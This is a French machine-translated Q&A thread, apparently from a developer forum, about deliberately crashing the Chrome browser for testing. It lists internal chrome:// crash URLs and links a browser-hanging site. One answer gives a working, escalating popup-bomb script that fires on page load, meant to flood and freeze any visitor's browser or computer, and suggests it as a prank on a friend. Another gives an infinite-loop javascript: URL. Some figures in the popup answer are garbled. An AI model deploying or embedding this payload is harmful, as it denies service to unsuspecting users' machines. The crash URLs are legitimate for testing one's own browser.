web-dev-qa-db-fra.com

Comment planter le navigateur Chrome?

À des fins de test, j'ai besoin d'un moyen rapide et facile de planter mon onglet/navigateur. Je teste mon site Web avec contrainte, et ces sites sont inestimables pour Google Chrome.

  • chrome: // crash
  • chrome: // kill
  • chrome: // pendre
  • chrome: // quitte
  • chrome: // redémarrer
  • Ces sites peuvent être trouvés à chrome://about. Un autre site (non répertorié dans chrome://about est chrome://inducebrowsercrashforrealz-, le processus de niveau supérieur de Chrome se bloquera, y compris tous les onglets de toutes les fenêtres du navigateur et toutes les applications ouvertes). À l’origine, j’essayais de voir quelles données étaient préservées en cas de plantage. Par exemple, la textarea de notre formulaire est restée remplie au redémarrage.

    Cependant, ces URL ne sont utiles que si je les saisis manuellement dans le navigateur. En utilisant cette question (et bien d’autres dont je n’ai pas les liens), j’ai confirmé ce que je soupçonnais de ne pas pouvoir

    • rediriger vers des pages chrome://
    • lien vers les pages chrome://
    • de toute autre manière, demander des informations à partir de chrome:// pages (par exemple, iframe)

    Lien vers chrome: // url d'une page Web

    Cela pose un problème. Je souhaite que le navigateur se bloque (chrome://inducebrowsercrashforrealz) lorsque l'utilisateur atteint une partie spécifique du formulaire. Existe-t-il un script susceptible de provoquer le blocage du navigateur?

    J'ai essayé des boucles while, mais même lorsqu'elles sont exponentielles, il faut un certain temps pour détruire la page et ne jamais affecter le navigateur. J'aimerais que le crash soit instantané ou consomme suffisamment de mémoire pour que le navigateur se fige.

    5
    Zackh105

    Vous pouvez utiliser http://crashsafari.com à vos fins. Il va accrocher le navigateur complètement en raison de sa conception.

    2
    Mark Yisri

    ATTENTION, cela plantera TOUT navigateur ou l'ordinateur utilisant l'attaque PopUps:

    Si vous voulez planter un ordinateur ou un navigateur

    CODE PopUp qui bloque un navigateur ou un ordinateur

    <script type="text/javascript"> 
    function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
    </script> 
    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    Si vous voulez vraiment que votre navigateur raccroche sérieusement, vous utiliserez cette fenêtre contextuelle, il continuera à charger 2 pages contextuelles supplémentaires pour chaque fenêtre contextuelle, ce qui signifie 2x2 fenêtres contextuelles pour la seconde fois, 4 fenêtres contextuelles, puis 8, 16, 32, 64, sur les popups. Cela fait comme s’il s’agissait d’un virus, il répandra PopUps dans le navigateur, remplissant l’écran de popups jusqu’à ce que l’ordinateur ou le navigateur se bloque, raccroche et s'arrête, juste ...

    NOTE: vous ne m'avez pas entendu OK ... LOL ... je conseille cela uniquement comme une blague pirate à un ami et non pour une page web en ligne.

    Si vous souhaitez accélérer le plantage, ajoutez simplement JavaScript:CrashAndBurn(self.location,'_blank'); pour charger le corps, comme dans cet exemple x4:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    Il chargera 4 popups pour chaque popup qui émane après 4 popups, il chargera 4x4 soit 18 popups, puis 18x4 soit 72, puis 72x4 soit 288 popups et ensuite 288x4 soit 1152 popups en 4 tours de popups en quelques secondes .

    Et si vous voulez être EXTREME HORRIBLE utilisez par exemple x10:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    et vous avez 8 popups avec 10 c'est-à-dire 10x10 = 100 popups puis 1000 et ensuite 1 000 000 popups et GARANTI crash rapidement.

    EDITVous pouvez utiliser une boucle while au lieu de copier/coller 10 fois. Ce serait beaucoup plus court.

    1
    SeekLoad

    Utilisez-le dans la barre d’URL chromée.

    javascript:while(true){console.log("-");}
    

    NE PEUT ÊTRE DANS UNE NOUVELLE ONGLET. Collez-le dans une barre d'adresse existante.

    0
    Kento Nishi